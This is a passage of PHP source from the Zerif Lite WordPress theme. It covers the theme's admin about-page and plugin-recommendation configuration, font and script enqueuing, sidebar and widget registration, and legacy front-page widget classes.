'icon' => 'dashicons dashicons-images-alt2',
'text' => esc_html__( 'In the below documentation you will find an easy way to build a great looking landing page using a drag-and-drop content builder plugin.', 'zerif-lite' ),
'button_label' => esc_html__( 'View how to do this', 'zerif-lite' ),
'button_link' => 'https://docs.themeisle.com/article/219-how-to-build-a-landing-page-with-a-drag-and-drop-content-builder',
'is_button' => false,
'is_new_tab' => true,
),
),
// Getting started tab
'getting_started' => array(
'first' => array(
'title' => esc_html__( 'Recommended actions', 'zerif-lite' ),
'text' => esc_html__( 'We have compiled a list of steps for you, to take make sure the experience you will have using one of our products is very easy to follow.', 'zerif-lite' ),
'button_label' => esc_html__( 'Recommended actions', 'zerif-lite' ),
'button_link' => esc_url( admin_url( 'themes.php?page=zerif-lite-welcome&tab=recommended_actions' ) ),
'is_button' => false,
'recommended_actions' => true,
'is_new_tab' => false,
),
'second' => array(
'title' => esc_html__( 'Read full documentation', 'zerif-lite' ),
'text' => esc_html__( 'Need more details? Please check our full documentation for detailed information on how to use Zerif Lite.', 'zerif-lite' ),
'button_label' => esc_html__( 'Documentation', 'zerif-lite' ),
'button_link' => 'https://docs.themeisle.com/article/5-zerif-lite-documentation',
'is_button' => false,
'recommended_actions' => false,
'is_new_tab' => true,
),
'third' => array(
'title' => esc_html__( 'Go to Customizer', 'zerif-lite' ),
'text' => esc_html__( 'Using the WordPress Customizer you can easily customize every aspect of the theme.', 'zerif-lite' ),
'button_label' => esc_html__( 'Go to Customizer', 'zerif-lite' ),
'button_link' => esc_url( admin_url( 'customize.php' ) ),
'is_button' => true,
'recommended_actions' => false,
'is_new_tab' => true,
),
),
// Free vs pro array.
'free_pro' => array(
'free_theme_name' => 'Zerif Lite',
'pro_theme_name' => 'Zerif PRO',
'pro_theme_link' => 'https://themeisle.com/themes/zerif-pro-one-page-wordpress-theme/upgrade/',
/* translators: Zerif Pro name */
'get_pro_theme_label' => sprintf( __( 'Get %s now!', 'zerif-lite' ), 'Zerif Pro' ),
'features' => array(
array(
'title' => __( 'Parallax effect', 'zerif-lite' ),
'description' => __( 'Smooth, catchy and easy scrolling experience.', 'zerif-lite' ),
'is_in_lite' => 'true',
'is_in_pro' => 'true',
),
array(
'title' => __( 'Mobile friendly', 'zerif-lite' ),
'description' => __( 'Responsive layout. Works on every device.', 'zerif-lite' ),
'is_in_lite' => 'true',
'is_in_pro' => 'true',
),
array(
'title' => __( 'WooCommerce Compatible', 'zerif-lite' ),
'description' => __( 'Ready for e-commerce. You can build an online store here.', 'zerif-lite' ),
'is_in_lite' => 'true',
'is_in_pro' => 'true',
),
array(
'title' => __( 'Frontpage sections', 'zerif-lite' ),
'description' => __( 'Big title, Our focus, About us, Our team, Testimonials, Ribbons, Latest news, Contat us', 'zerif-lite' ),
'is_in_lite' => 'true',
'is_in_pro' => 'true',
),
array(
'title' => __( 'Background image', 'zerif-lite' ),
'description' => __( 'You can use any background image you want.', 'zerif-lite' ),
'is_in_lite' => 'true',
'is_in_pro' => 'true',
),
array(
'title' => __( 'Unlimited color option', 'zerif-lite' ),
'description' => __( 'You can change the colors of each section. You have unlimited options.', 'zerif-lite' ),
'is_in_lite' => 'false',
'is_in_pro' => 'true',
),
array(
'title' => __( 'Google map section', 'zerif-lite' ),
'description' => __( 'Embed your current location to your website by using a Google map.', 'zerif-lite' ),
'is_in_lite' => 'false',
'is_in_pro' => 'true',
),
array(
'title' => __( 'Portfolio', 'zerif-lite' ),
'description' => __( 'Showcase your best projects in the portfolio section.', 'zerif-lite' ),
'is_in_lite' => 'false',
'is_in_pro' => 'true',
),
array(
'title' => __( 'Sections order', 'zerif-lite' ),
'description' => __( 'Arrange the sections by your priorities.', 'zerif-lite' ),
'is_in_lite' => 'false',
'is_in_pro' => 'true',
),
array(
'title' => __( 'Background slider/video', 'zerif-lite' ),
'description' => __( 'Apart from static images, you can use videos or sliders on the background.', 'zerif-lite' ),
'is_in_lite' => 'false',
'is_in_pro' => 'true',
),
array(
'title' => __( 'Support', 'zerif-lite' ),
'description' => __( 'You will benefit of our full support for any issues you have with the theme.', 'zerif-lite' ),
'is_in_lite' => 'false',
'is_in_pro' => 'true',
),
array(
'title' => __( 'Packages/Subscribe sections', 'zerif-lite' ),
'description' => __( 'Add pricing tables for your products and use newsletter forms to attract the clients.', 'zerif-lite' ),
'is_in_lite' => 'false',
'is_in_pro' => 'true',
),
array(
'title' => __( 'Change labels for the Contact Us section', 'zerif-lite' ),
'description' => __( 'Write an original text in each Contact us section field.', 'zerif-lite' ),
'is_in_lite' => 'false',
'is_in_pro' => 'true',
),
array(
'title' => __( 'No credit footer link', 'zerif-lite' ),
'description' => __( 'Remove "Zerif Lite developed by ThemeIsle" copyright from the footer.', 'zerif-lite' ),
'is_in_lite' => 'false',
'is_in_pro' => 'true',
),
),
),
// Plugins array.
'recommended_plugins' => array(
'already_activated_message' => esc_html__( 'Already activated', 'zerif-lite' ),
'version_label' => esc_html__( 'Version: ', 'zerif-lite' ),
'install_label' => esc_html__( 'Install and Activate', 'zerif-lite' ),
'activate_label' => esc_html__( 'Activate', 'zerif-lite' ),
'deactivate_label' => esc_html__( 'Deactivate', 'zerif-lite' ),
'content' => array(
array(
'slug' => 'wpforms-lite',
),
array(
'slug' => 'translatepress-multilingual',
),
array(
'slug' => 'siteorigin-panels',
),
array(
'slug' => 'wp-product-review',
),
array(
'slug' => 'intergeo-maps',
),
array(
'slug' => 'visualizer',
),
array(
'slug' => 'adblock-notify-by-bweb',
),
array(
'slug' => 'nivo-slider-lite',
),
),
),
// Required actions array.
'recommended_actions' => array(
'install_label' => esc_html__( 'Install and Activate', 'zerif-lite' ),
'activate_label' => esc_html__( 'Activate', 'zerif-lite' ),
'deactivate_label' => esc_html__( 'Deactivate', 'zerif-lite' ),
'content' => array(
'themeisle-companion' => array(
'title' => 'Orbit Fox',
'description' => __( 'It is highly recommended that you install the companion plugin to have access to the frontpage sections widgets.', 'zerif-lite' ),
'check' => defined( 'THEMEISLE_COMPANION_VERSION' ),
'plugin_slug' => 'themeisle-companion',
'id' => 'themeisle-companion',
),
'wpforms-lite' => array(
'title' => 'WPForms',
'description' => __( 'Makes your contact page more engaging by creating a good-looking contact form on your website. The interaction with your visitors was never easier.', 'zerif-lite' ),
'check' => defined( 'PIRATE_FORMS_VERSION' ),
'plugin_slug' => 'wpforms-lite',
'id' => 'wpforms-lite',
),
),
),
);
/*
* Add recommendation for Beaver Builder plugin, after 5 days of installing the theme
**/
if ( ! defined( 'FL_BUILDER_VERSION' ) && zerif_check_passed_time( '259200' ) ) {
$elementor_array = array(
'slug' => 'beaver-builder-lite-version',
);
if ( ! empty( $config['recommended_plugins']['content'] ) ) {
array_push( $config['recommended_plugins']['content'], $elementor_array );
}
}
TI_About_Page::init( $config );
/*
* Notifications in customize
*/
require get_template_directory() . '/ti-customizer-notify/class-ti-customizer-notify.php';
$config_customizer = array(
'recommended_plugins' => array(
'themeisle-companion' => array(
'recommended' => true,
/* translators: ThemeIsle Companion install link */
'description' => sprintf( esc_html__( 'If you want to take full advantage of the options this theme has to offer, please install and activate %s', 'zerif-lite' ), sprintf( '<strong>%s</strong>', 'ThemeIsle Companion' ) ),
),
),
'recommended_actions' => array(),
'recommended_actions_title' => esc_html__( 'Recommended Actions', 'zerif-lite' ),
'recommended_plugins_title' => esc_html__( 'Recommended Plugins', 'zerif-lite' ),
'install_button_label' => esc_html__( 'Install and Activate', 'zerif-lite' ),
'activate_button_label' => esc_html__( 'Activate', 'zerif-lite' ),
'deactivate_button_label' => esc_html__( 'Deactivate', 'zerif-lite' ),
);
Ti_Customizer_Notify::init( apply_filters( 'zerif_customizer_notify_array', $config_customizer ) );
}
add_action( 'after_setup_theme', 'zerif_setup' );
/**
* Add compatibility with WooCommerce Product Images customizer controls.
*/
function zerif_set_woo_image_sizes() {
$execute = get_option( 'zerif_update_woocommerce_customizer_controls', false );
if ( $execute !== false ) {
return;
}
update_option( 'woocommerce_thumbnail_cropping', 'custom' );
update_option( 'woocommerce_thumbnail_cropping_custom_width', '3' );
update_option( 'woocommerce_thumbnail_cropping_custom_height', '2' );
if ( class_exists( 'WC_Regenerate_Images' ) ) {
$regenerate_obj = new WC_Regenerate_Images();
$regenerate_obj::init();
if ( method_exists( $regenerate_obj, 'maybe_regenerate_images' ) ) {
$regenerate_obj::maybe_regenerate_images();
} elseif ( method_exists( $regenerate_obj, 'maybe_regenerate_images_option_update' ) ) {
// Force woocommerce 3.3.1 to regenerate images
$regenerate_obj::maybe_regenerate_images_option_update( 1, 2, '' );
}
}
update_option( 'zerif_update_woocommerce_customizer_controls', true );
}
/**
* Migrate logo from theme to core
*/
function zerif_migrate_logo() {
$zerif_old_logo = get_theme_mod( 'zerif_logo' );
if ( ! empty( $zerif_old_logo ) ) {
$zerif_old_logo_id = attachment_url_to_postid( $zerif_old_logo );
if ( is_int( $zerif_old_logo_id ) ) {
set_theme_mod( 'custom_logo', $zerif_old_logo_id );
}
remove_theme_mod( 'zerif_logo' );
}
}
add_action( 'after_setup_theme', 'zerif_migrate_logo' );
/**
* Custom excerpt more link
*/
function zerif_excerpt_more( $more ) {
return ' <a href="' . esc_url( get_the_permalink() ) . '" rel="nofollow"><span class="sr-only">' . esc_html__( 'Read more about ', 'zerif-lite' ) . esc_attr( get_the_title() ) . '</span>[…]</a>';
}
/**
* Check if latest posts
*/
function zerif_lite_is_not_latest_posts() {
return ( 'posts' == get_option( 'show_on_front' ) ? true : false );
}
/**
* Check if frontpage
*/
function zerif_lite_is_static_frontpage() {
if ( 'posts' == get_option( 'show_on_front' ) ) {
return false;
} else {
$frontpage_id = get_option( 'page_on_front' );
if ( 'template-frontpage.php' == get_post_meta( $frontpage_id, '_wp_page_template', true ) ) {
return true;
} else {
return false;
}
}
}
/**
* Register widgetized area and update sidebar with default widgets.
*/
function zerif_widgets_init() {
register_sidebar(
array(
'name' => __( 'Sidebar', 'zerif-lite' ),
'id' => 'sidebar-1',
'before_widget' => '<aside id="%1$s" class="widget %2$s">',
'after_widget' => '</aside>',
'before_title' => '<h2 class="widget-title">',
'after_title' => '</h2>',
)
);
register_sidebar(
array(
'name' => __( 'About us section', 'zerif-lite' ),
'id' => 'sidebar-aboutus',
'before_widget' => '<span id="%1$s">',
'after_widget' => '</span>',
'before_title' => '<h1 class="widget-title">',
'after_title' => '</h1>',
)
);
register_sidebars(
3,
array(
/* translators: Footer area number */
'name' => __( 'Footer area %d', 'zerif-lite' ),
'id' => 'zerif-sidebar-footer',
'before_widget' => '<aside id="%1$s" class="widget footer-widget-footer %2$s">',
'after_widget' => '</aside>',
'before_title' => '<h1 class="widget-title">',
'after_title' => '</h1>',
)
);
}
add_action( 'widgets_init', 'zerif_widgets_init' );
/**
* Enqueue fonts
*/
function zerif_slug_fonts_url() {
$fonts_url = '';
/**
* Translators: If there are characters in your language that are not
* supported by Lora, translate this to 'off'. Do not translate
* into your own language.
*/
$lato = _x( 'on', 'Lato font: on or off', 'zerif-lite' );
$homemade = _x( 'on', 'Homemade font: on or off', 'zerif-lite' );
/**
* Translators: If there are characters in your language that are not
* supported by Open Sans, translate this to 'off'. Do not translate
* into your own language.
*/
$monserrat = _x( 'on', 'Monserrat font: on or off', 'zerif-lite' );
$zerif_use_safe_font = get_theme_mod( 'zerif_use_safe_font' );
if ( ( 'off' !== $lato || 'off' !== $monserrat || 'off' !== $homemade ) && isset( $zerif_use_safe_font ) && ( $zerif_use_safe_font != 1 ) ) {
$font_families = array();
if ( 'off' !== $lato ) {
$font_families[] = 'Lato:300,400,700,400italic';
}
if ( 'off' !== $monserrat ) {
$font_families[] = 'Montserrat:400,700';
}
if ( 'off' !== $homemade ) {
$font_families[] = 'Homemade Apple';
}
$query_args = array(
'family' => urlencode( implode( '|', $font_families ) ),
'subset' => urlencode( 'latin,latin-ext' ),
);
$fonts_url = add_query_arg( $query_args, '//fonts.googleapis.com/css' );
}
return $fonts_url;
}
/**
* Enqueue scripts and styles.
*/
function zerif_scripts() {
wp_enqueue_style( 'zerif_font', zerif_slug_fonts_url(), array(), null );
wp_enqueue_style(
'zerif_font_all',
add_query_arg(
array(
'family' => urlencode( 'Open Sans:300,300italic,400,400italic,600,600italic,700,700italic,800,800italic' ),
'subset' => urlencode( 'latin' ),
),
'//fonts.googleapis.com/css'
)
);
wp_enqueue_style( 'zerif_bootstrap_style', get_template_directory_uri() . '/css/bootstrap.css' );
wp_style_add_data( 'zerif_bootstrap_style', 'rtl', 'replace' );
wp_enqueue_style( 'zerif_fontawesome', get_template_directory_uri() . '/css/font-awesome.min.css', array(), 'v1' );
wp_enqueue_style( 'zerif_style', get_stylesheet_uri(), array( 'zerif_fontawesome' ), ZERIF_LITE_VERSION );
/* Add this style only for the other cases than New users that have a static page */
$zerif_keep_old_fp_template = get_theme_mod( 'zerif_keep_old_fp_template' );
if ( ! ( ! zerif_check_if_old_version_of_theme() && ( get_option( 'show_on_front' ) == 'page' ) && ! $zerif_keep_old_fp_template ) ) {
$custom_css = 'body.home.page:not(.page-template-template-frontpage) {
background-image: none !important;
}';
wp_add_inline_style( 'zerif_style', $custom_css );
}
wp_enqueue_style( 'zerif_responsive_style', get_template_directory_uri() . '/css/responsive.css', array( 'zerif_style' ), ZERIF_LITE_VERSION );
wp_enqueue_style( 'zerif_ie_style', get_template_directory_uri() . '/css/ie.css', array( 'zerif_style' ), ZERIF_LITE_VERSION );
wp_style_add_data( 'zerif_ie_style', 'conditional', 'lt IE 9' );
if ( wp_is_mobile() ) {
wp_enqueue_style( 'zerif_style_mobile', get_template_directory_uri() . '/css/style-mobile.css', array( 'zerif_bootstrap_style', 'zerif_style' ), 'v1' );
}
/* Bootstrap script */
wp_enqueue_script( 'zerif_bootstrap_script', get_template_directory_uri() . '/js/bootstrap.min.js', array( 'jquery' ), ZERIF_LITE_VERSION, true );
/* Knob script */
wp_enqueue_script( 'zerif_knob_nav', get_template_directory_uri() . '/js/jquery.knob.js', array( 'jquery' ), ZERIF_LITE_VERSION, true );
/* Smootscroll script */
$zerif_disable_smooth_scroll = get_theme_mod( 'zerif_disable_smooth_scroll' );
if ( isset( $zerif_disable_smooth_scroll ) && ( $zerif_disable_smooth_scroll != 1 ) ) {
wp_enqueue_script( 'zerif_smoothscroll', get_template_directory_uri() . '/js/smoothscroll.js', array( 'jquery' ), ZERIF_LITE_VERSION, true );
}
/* scrollReveal script */
if ( ! wp_is_mobile() ) {
wp_enqueue_script( 'zerif_scrollReveal_script', get_template_directory_uri() . '/js/scrollReveal.js', array( 'jquery' ), ZERIF_LITE_VERSION, true );
}
/* zerif script */
wp_enqueue_script( 'zerif_script', get_template_directory_uri() . '/js/zerif.js', array( 'jquery', 'zerif_knob_nav' ), ZERIF_LITE_VERSION, true );
if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
wp_enqueue_script( 'comment-reply' );
}
/* HTML5Shiv*/
wp_enqueue_script( 'zerif_html5', get_template_directory_uri() . '/js/html5.js' );
wp_script_add_data( 'zerif_html5', 'conditional', 'lt IE 9' );
/* parallax effect */
if ( ! wp_is_mobile() ) {
/* include parallax only if on frontpage and the parallax effect is activated */
$zerif_parallax_use = get_theme_mod( 'zerif_parallax_show' );
if ( ! empty( $zerif_parallax_use ) && ( $zerif_parallax_use == 1 ) && is_front_page() ) :
wp_enqueue_script( 'zerif_parallax', get_template_directory_uri() . '/js/parallax.js', array( 'jquery' ), 'v1', true );
endif;
}
add_editor_style( '/css/custom-editor-style.css' );
}
add_action( 'wp_enqueue_scripts', 'zerif_scripts' );
/**
* Adjust content width based on template.
*/
function zerif_adjust_content_width() {
global $content_width;
$zerif_change_to_full_width = get_theme_mod( 'zerif_change_to_full_width' );
if ( is_page_template( 'template-fullwidth.php' ) || is_page_template( 'template-fullwidth-no-title.php' ) || is_page_template( 'woocommerce.php' ) || is_page_template( 'single-download.php' ) || ( is_page_template( 'page.php' ) && ! empty( $zerif_change_to_full_width ) ) ) {
$content_width = 1110;
}
}
add_action( 'template_redirect', 'zerif_adjust_content_width' );
/**
* Remove Yoast rel="prev/next" link from header
*/
function zerif_remove_yoast_rel_link() {
return false;
}
add_filter( 'wpseo_prev_rel_link', 'zerif_remove_yoast_rel_link' );
add_filter( 'wpseo_next_rel_link', 'zerif_remove_yoast_rel_link' );
add_action( 'tgmpa_register', 'zerif_register_required_plugins' );
/**
* Recommend plugins with TGMPA
*/
function zerif_register_required_plugins() {
$wp_version_nr = get_bloginfo( 'version' );
if ( $wp_version_nr < 3.9 ) :
$plugins = array(
array(
'name' => 'Widget customizer',
'slug' => 'widget-customizer',
'required' => false,
),
array(
'name' => 'WPForms',
'slug' => 'wpforms-lite',
'required' => false,
),
array(
'name' => 'Orbit Fox',
'slug' => 'themeisle-companion',
'required' => false,
),
);
else :
$plugins = array(
array(
'name' => 'WPForms',
'slug' => 'wpforms-lite',
'required' => false,
),
array(
'name' => 'Orbit Fox',
'slug' => 'themeisle-companion',
'required' => false,
),
);
endif;
$config = array(
'default_path' => '',
'menu' => 'tgmpa-install-plugins',
'has_notices' => true,
'dismissable' => true,
'dismiss_msg' => '',
'is_automatic' => false,
'message' => '',
'strings' => array(
'page_title' => __( 'Install Required Plugins', 'zerif-lite' ),
'menu_title' => __( 'Install Plugins', 'zerif-lite' ),
/* translators: name of installing plugin */
'installing' => __( 'Installing Plugin: %s', 'zerif-lite' ),
'oops' => __( 'Something went wrong with the plugin API.', 'zerif-lite' ),
/* translators: Name of required plugin */
'notice_can_install_required' => _n_noop( 'This theme requires the following plugin: %1$s.', 'This theme requires the following plugins: %1$s.', 'zerif-lite' ),
/* translators: Name of recommended plugin */
'notice_can_install_recommended' => _n_noop( 'This theme recommends the following plugin: %1$s.', 'This theme recommends the following plugins: %1$s.', 'zerif-lite' ),
/* translators: Name of required plugin */
'notice_cannot_install' => _n_noop( 'Sorry, but you do not have the correct permissions to install the %s plugin. Contact the administrator of this site for help on getting the plugin installed.', 'Sorry, but you do not have the correct permissions to install the %s plugins. Contact the administrator of this site for help on getting the plugins installed.', 'zerif-lite' ),
/* translators: Name of required plugin that is not active */
'notice_can_activate_required' => _n_noop( 'The following required plugin is currently inactive: %1$s.', 'The following required plugins are currently inactive: %1$s.', 'zerif-lite' ),
/* translators: Name of recommended plugin that is not active */
'notice_can_activate_recommended' => _n_noop( 'The following recommended plugin is currently inactive: %1$s.', 'The following recommended plugins are currently inactive: %1$s.', 'zerif-lite' ),
/* translators: Name of plguin that can't be activated */
'notice_cannot_activate' => _n_noop( 'Sorry, but you do not have the correct permissions to activate the %s plugin. Contact the administrator of this site for help on getting the plugin activated.', 'Sorry, but you do not have the correct permissions to activate the %s plugins. Contact the administrator of this site for help on getting the plugins activated.', 'zerif-lite' ),
/* translators: Name of plugin that needs to be updated */
'notice_ask_to_update' => _n_noop( 'The following plugin needs to be updated to its latest version to ensure maximum compatibility with this theme: %1$s.', 'The following plugins need to be updated to their latest version to ensure maximum compatibility with this theme: %1$s.', 'zerif-lite' ),
/* translators: Nme of plugin that can't be updated */
'notice_cannot_update' => _n_noop( 'Sorry, but you do not have the correct permissions to update the %s plugin. Contact the administrator of this site for help on getting the plugin updated.', 'Sorry, but you do not have the correct permissions to update the %s plugins. Contact the administrator of this site for help on getting the plugins updated.', 'zerif-lite' ),
'install_link' => _n_noop( 'Begin installing plugin', 'Begin installing plugins', 'zerif-lite' ),
'activate_link' => _n_noop( 'Begin activating plugin', 'Begin activating plugins', 'zerif-lite' ),
'return' => __( 'Return to Required Plugins Installer', 'zerif-lite' ),
'plugin_activated' => __( 'Plugin activated successfully.', 'zerif-lite' ),
/* translators: Name of plugins installed and activated successfully */
'complete' => __( 'All plugins installed and activated successfully. %s', 'zerif-lite' ),
'nag_type' => 'updated',
),
);
tgmpa( $plugins, $config );
}
/* Load Jetpack compatibility file. */
require get_template_directory() . '/inc/jetpack.php';
/**
* Menu layout
*/
function zerif_wp_page_menu() {
echo '<ul class="nav navbar-nav navbar-right responsive-nav main-nav-list">';
wp_list_pages(
array(
'title_li' => '',
'depth' => 1,
)
);
echo '</ul>';
}
add_filter( 'the_title', 'zerif_default_title' );
/**
* Add a default title for posts without one
*/
function zerif_default_title( $title ) {
if ( $title == '' ) {
$title = __( 'Default title', 'zerif-lite' );
}
return $title;
}
add_action( 'widgets_init', 'zerif_register_widgets' );
/**
* Register custom widgets
*/
function zerif_register_widgets() {
if ( ! defined( 'THEMEISLE_COMPANION_VERSION' ) ) {
if ( zerif_check_if_old_version_of_theme() ) {
register_widget( 'zerif_ourfocus' );
register_widget( 'zerif_testimonial_widget' );
register_widget( 'zerif_clients_widget' );
register_widget( 'zerif_team_widget' );
}
}
$zerif_lite_sidebars = array(
'sidebar-ourfocus' => 'sidebar-ourfocus',
'sidebar-testimonials' => 'sidebar-testimonials',
'sidebar-ourteam' => 'sidebar-ourteam',
);
/* Register sidebars */
foreach ( $zerif_lite_sidebars as $zerif_lite_sidebar ) :
$extra_class = '';
if ( $zerif_lite_sidebar == 'sidebar-ourfocus' ) :
$zerif_lite_name = __( 'Our focus section widgets', 'zerif-lite' );
elseif ( $zerif_lite_sidebar == 'sidebar-testimonials' ) :
$extra_class = 'feedback-box';
$zerif_lite_name = __( 'Testimonials section widgets', 'zerif-lite' );
elseif ( $zerif_lite_sidebar == 'sidebar-ourteam' ) :
$zerif_lite_name = __( 'Our team section widgets', 'zerif-lite' );
else :
$zerif_lite_name = $zerif_lite_sidebar;
endif;
register_sidebar(
array(
'name' => $zerif_lite_name,
'id' => $zerif_lite_sidebar,
'before_widget' => '<span id="%1$s" class="' . $extra_class . '">',
'after_widget' => '</span>',
)
);
endforeach;
}
if ( ! class_exists( 'zerif_ourfocus' ) && zerif_check_if_old_version_of_theme() ) {
/**
* Our focus widget
*/
class zerif_ourfocus extends WP_Widget {
/**
* Constructor.
*/
public function __construct() {
parent::__construct(
'ctUp-ads-widget',
__( 'Zerif - Our focus widget', 'zerif-lite' ),
array(
'customize_selective_refresh' => true,
)
);
add_action( 'admin_enqueue_scripts', array( $this, 'widget_scripts' ) );
}
/**
* Enqueue scripts
*/
function widget_scripts( $hook ) {
if ( $hook != 'widgets.php' ) {
return;
}
wp_enqueue_media();
wp_enqueue_script( 'zerif_widget_media_script', get_template_directory_uri() . '/js/widget-media.js', false, '1.1', true );
}
/**
* Create the widget
*/
function widget( $args, $instance ) {
echo $args['before_widget'];
echo '<div class="col-lg-3 col-sm-3 focus-box" data-scrollreveal="enter left after 0.15s over 1s">';
if ( ! empty( $instance['image_uri'] ) && ( preg_match( '/(\.jpg|\.png|\.jpeg|\.gif|\.bmp)$/', $instance['image_uri'] ) ) ) {
if ( ! empty( $instance['link'] ) ) {
echo '<a href="' . esc_url( $instance['link'] ) . '" class="service-icon">';
if ( ! empty( $instance['title'] ) ) {
echo '<span class="sr-only">';
printf(
/* Translators: %s: widget title */
__( 'Go to %s', 'zerif-lite' ),
apply_filters( 'widget_title', $instance['title'] )
);
echo '</span>';
}
echo '<i class="pixeden" style="background:url(' . esc_url( $instance['image_uri'] ) . ') no-repeat center;width:100%; height:100%;"></i>';
echo '</a>';
} else {
echo '<div class="service-icon" tabindex="0">';
echo '<i class="pixeden" style="background:url(' . esc_url( $instance['image_uri'] ) . ') no-repeat center;width:100%; height:100%;"></i>';
echo '</div>';
}
} elseif ( ! empty( $instance['custom_media_id'] ) ) {
$zerif_ourfocus_custom_media_id = wp_get_attachment_image_url( $instance['custom_media_id'] );
if ( ! empty( $zerif_ourfocus_custom_media_id ) ) {
if ( ! empty( $instance['link'] ) ) {
echo '<a href="' . esc_url( $instance['link'] ) . '" class="service-icon">';
if ( ! empty( $instance['title'] ) ) {
echo '<span class="sr-only">';
_e( 'Go to', 'zerif-lite' );
echo apply_filters( 'widget_title', $instance['title'] );
echo '</span>';
}
echo '<i class="pixeden" style="background:url(' . esc_url( $zerif_ourfocus_custom_media_id ) . ') no-repeat center;width:100%; height:100%;"></i>';
echo '</a>';
} else {
echo '<div class="service-icon" tabindex="0">';
echo '<i class="pixeden" style="background:url(' . esc_url( $zerif_ourfocus_custom_media_id ) . ') no-repeat center;width:100%; height:100%;"></i>';
echo '</div>';
}
}
}
echo '<h3 class="red-border-bottom">';
if ( ! empty( $instance['title'] ) ) {
echo apply_filters( 'widget_title', $instance['title'] );
}
echo '</h3>';
if ( ! empty( $instance['text'] ) ) {
echo '<p>' . htmlspecialchars_decode( apply_filters( 'widget_title', $instance['text'] ) ) . '</p>';
}
echo '</div>';
echo $args['after_widget'];
}
/**
* Update widgets instance
*/
function update( $new_instance, $old_instance ) {
$instance = $old_instance;
$instance['text'] = stripslashes( wp_filter_post_kses( $new_instance['text'] ) );
$instance['title'] = sanitize_text_field( $new_instance['title'] );
$instance['link'] = esc_url( $new_instance['link'] );
$instance['image_uri'] = esc_url( $new_instance['image_uri'] );
$instance['custom_media_id'] = sanitize_text_field( $new_instance['custom_media_id'] );
$instance['image_in_customizer'] = esc_url( $new_instance['image_in_customizer'] );
return $instance;
}
/**
* Widget controls
*/
function form( $instance ) {
echo '<p>';
echo '<label for="' . $this->get_field_id( 'title' ) . '">' . __( 'Title', 'zerif-lite' ) . '</label><br/>';
echo '<input type="text" name="' . $this->get_field_name( 'title' ) . '" id="' . $this->get_field_id( 'title' ) . '" value="';
if ( ! empty( $instance['title'] ) ) {
echo $instance['title'];
}
echo '" class="widefat">';
echo '</p>';
echo '<p>';
echo '<label for="' . $this->get_field_id( 'text' ) . '">' . __( 'Text', 'zerif-lite' ) . '</label><br/>';
echo '<textarea class="widefat" rows="8" cols="20" name="' . $this->get_field_name( 'text' ) . '" id="' . $this->get_field_id( 'text' ) . '">';
if ( ! empty( $instance['text'] ) ) {
echo htmlspecialchars_decode( $instance['text'] );
}
echo '</textarea>';
echo '</p>';
echo '<p>';
echo '<label for="' . $this->get_field_id( 'link' ) . '">' . __( 'Link', 'zerif-lite' ) . '</label><br/>';
echo '<input type="text" name="' . $this->get_field_name( 'link' ) . '" id="' . $this->get_field_id( 'link' ) . '" value="';
if ( ! empty( $instance['link'] ) ) {
echo esc_url( $instance['link'] );
}
echo '" class="widefat">';
echo '</p>';
echo '<p>';
echo '<label for="' . $this->get_field_id( 'image_uri' ) . '">' . __( 'Image', 'zerif-lite' ) . '</label><br/>';
$image_in_customizer = '';
$display = 'none';
if ( ! empty( $instance['image_in_customizer'] ) && ! empty( $instance['image_uri'] ) ) {
$image_in_customizer = esc_url( $instance['image_in_customizer'] );
$display = 'inline-block';
} else {
if ( ! empty( $instance['image_uri'] ) ) {
$image_in_customizer = esc_url( $instance['image_uri'] );
$display = 'inline-block';
}
}
$zerif_image_in_customizer = $this->get_field_name( 'image_in_customizer' );
echo '<input type="hidden" class="custom_media_display_in_customizer" name="';
if ( ! empty( $zerif_image_in_customizer ) ) {
echo $zerif_image_in_customizer;
}
echo '" value="';
if ( ! empty( $instance['image_in_customizer'] ) ) {
echo $instance['image_in_customizer'];
}
echo '">';
echo '<img class="custom_media_image" src="' . $image_in_customizer . '" style="margin:0;padding:0;max-width:100px;float:left;display:' . $display . '" alt="' . __( 'Uploaded image', 'zerif-lite' ) . '"/><br/>';
echo '<input type="text" class="widefat custom_media_url" name="' . $this->get_field_name( 'image_uri' ) . '" id="' . $this->get_field_id( 'image_uri' ) . '" value="';
if ( ! empty( $instance['image_uri'] ) ) {
echo $instance['image_uri'];
}
echo '" style="margin-top:5px;">';
echo '<input type="button" class="button button-primary custom_media_button" id="custom_media_button" name="' . $this->get_field_name( 'image_uri' ) . '" value="' . __( 'Upload Image', 'zerif-lite' ) . '" style="margin-top:5px;">';
echo '</p>';
echo '<input class="custom_media_id" id="' . $this->get_field_id( 'custom_media_id' ) . '" name="' . $this->get_field_name( 'custom_media_id' ) . '" type="hidden" value="';
if ( ! empty( $instance['custom_media_id'] ) ) {
echo $instance['custom_media_id'];
}
echo '"/>';
}
}
}
if ( ! class_exists( 'zerif_testimonial_widget' ) && zerif_check_if_old_version_of_theme() ) {
/**
* Testimonial widget
*/
class zerif_testimonial_widget extends WP_Widget {
/**
* Constructor.
*/
public function __construct() {
parent::__construct(
'zerif_testim-widget',
__( 'Zerif - Testimonial widget', 'zerif-lite' ),
array(
'customize_selective_refresh' => true,
)
);
add_action( 'admin_enqueue_scripts', array( $this, 'widget_scripts' ) );
}
/**
* Enqueue scripts
*/
function widget_scripts( $hook ) {
if ( $hook != 'widgets.php' ) {
return;
}
wp_enqueue_media();
wp_enqueue_script( 'zerif_widget_media_script', get_template_directory_uri() . '/js/widget-media.js', false, '1.1', true );
}
/**
* Create the widget
*/
function widget( $args, $instance ) {
$zerif_accessibility = get_theme_mod( 'zerif_accessibility' );
// open link in a new tab when checkbox "accessibility" is not ticked
$attribut_new_tab = ( isset( $zerif_accessibility ) && ( $zerif_accessibility != 1 ) ? ' target="_blank"' : '' );
echo $args['before_widget'];
if ( ! empty( $instance['text'] ) ) {
echo '<div class="message">' . htmlspecialchars_decode( apply_filters( 'widget_title', $instance['text'] ) ) . '</div>';
}
echo '<div class="client">';
echo '<div class="quote red-text">';
echo '<i class="fa fa-quote-left"></i>';
echo '</div>';
echo '<div class="client-info">';
echo '<a ' . $attribut_new_tab . ' class="client-name"';
if ( ! empty( $instance['link'] ) ) {
echo 'href="' . esc_url( $instance['link'] ) . '"';
}
echo '>';
if ( ! empty( $instance['title'] ) ) {
echo apply_filters( 'widget_title', $instance['title'] );
}
echo '</a>';
if ( ! empty( $instance['details'] ) ) {
echo '<div class="client-company">' . apply_filters( 'widget_title', $instance['details'] ) . '</div>';
}
echo '</div>';
if ( ! empty( $instance['image_uri'] ) && ( preg_match( '/(\.jpg|\.png|\.jpeg|\.gif|\.bmp)$/', $instance['image_uri'] ) ) ) {
echo '<div class="client-image hidden-xs">';
